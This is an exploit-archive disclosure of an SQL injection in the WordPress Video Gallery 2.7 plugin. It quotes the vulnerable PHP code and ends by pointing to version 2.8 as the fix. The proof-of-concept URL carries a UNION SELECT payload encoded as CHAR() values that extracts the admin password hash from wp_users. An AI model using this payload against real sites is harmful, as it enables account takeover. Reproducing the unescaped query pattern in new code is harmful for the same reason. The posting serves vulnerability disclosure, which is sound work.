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WordPress Video Gallery 2.7 SQL Injection

WordPress Video Gallery 2.7 SQL Injection
Posted Aug 9, 2015
Authored by Kacper Szurek

WordPress Video Gallery plugin version 2.7 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 33d438464dbfabd84ced36091a390837

WordPress Video Gallery 2.7 SQL Injection

Change Mirror Download
# Exploit Title: WordPress Video Gallery 2.7 SQL Injection
# Date: 20-01-2015
# Software Link: https://wordpress.org/plugins/contus-video-gallery/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description

$_GET['vid'] is not escaped.

google_adsense() is accessible for everyone.

File: contus-video-gallery\hdflvvideoshare.php

add_action('wp_ajax_googleadsense' ,'google_adsense');
add_action('wp_ajax_nonpriv_googleadsense' ,'google_adsense');
function google_adsense(){
global $wpdb;
$vid = $_GET['vid'];
$google_adsense_id = $wpdb->get_var('SELECT google_adsense_value FROM '.$wpdb->prefix.'hdflvvideoshare WHERE vid ='.$vid);
$query = $wpdb->get_var('SELECT googleadsense_details FROM '.$wpdb->prefix.'hdflvvideoshare_vgoogleadsense WHERE id='.$google_adsense_id);
$google_adsense = unserialize($query);
echo $google_adsense['googleadsense_code'];
die();
}

http://security.szurek.pl/wordpress-video-gallery-27-sql-injection.html

2. Proof of Concept

http://wordpress-url/wp-admin/admin-ajax.php?action=googleadsense&vid=0 UNION SELECT CAST(CHAR(48, 32, 85, 78, 73, 79, 78, 32, 83, 69, 76, 69, 67, 84, 32, 67, 79, 78, 67, 65, 84, 40, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 57, 55, 44, 32, 53, 56, 44, 32, 52, 57, 44, 32, 53, 56, 44, 32, 49, 50, 51, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 57, 44, 32, 53, 54, 44, 32, 53, 56, 44, 32, 51, 52, 44, 32, 49, 48, 51, 44, 32, 49, 49, 49, 44, 32, 49, 49, 49, 44, 32, 49, 48, 51, 44, 32, 49, 48, 56, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 53, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 53, 44, 32, 49, 48, 49, 44, 32, 57, 53, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 48, 44, 32, 49, 48, 49, 44, 32, 51, 52, 44, 32, 53, 57, 44, 32, 49, 49, 53, 44, 32, 53, 56, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 44, 32, 76, 69, 78, 71, 84, 72, 40, 117, 115, 101, 114, 95, 112, 97, 115, 115, 41, 44, 32, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 53, 56, 44, 32, 51, 52, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 44, 32, 117, 115, 101, 114, 95, 112, 97, 115, 115, 44, 32, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 51, 52, 44, 32, 53, 57, 44, 32, 49, 50, 53, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 41, 32, 70, 82, 79, 77, 32, 119, 112, 95, 117, 115, 101, 114, 115, 32, 87, 72, 69, 82, 69, 32, 73, 68, 32, 61, 32, 49) as CHAR)

3. Solution:

Update to version 2.8

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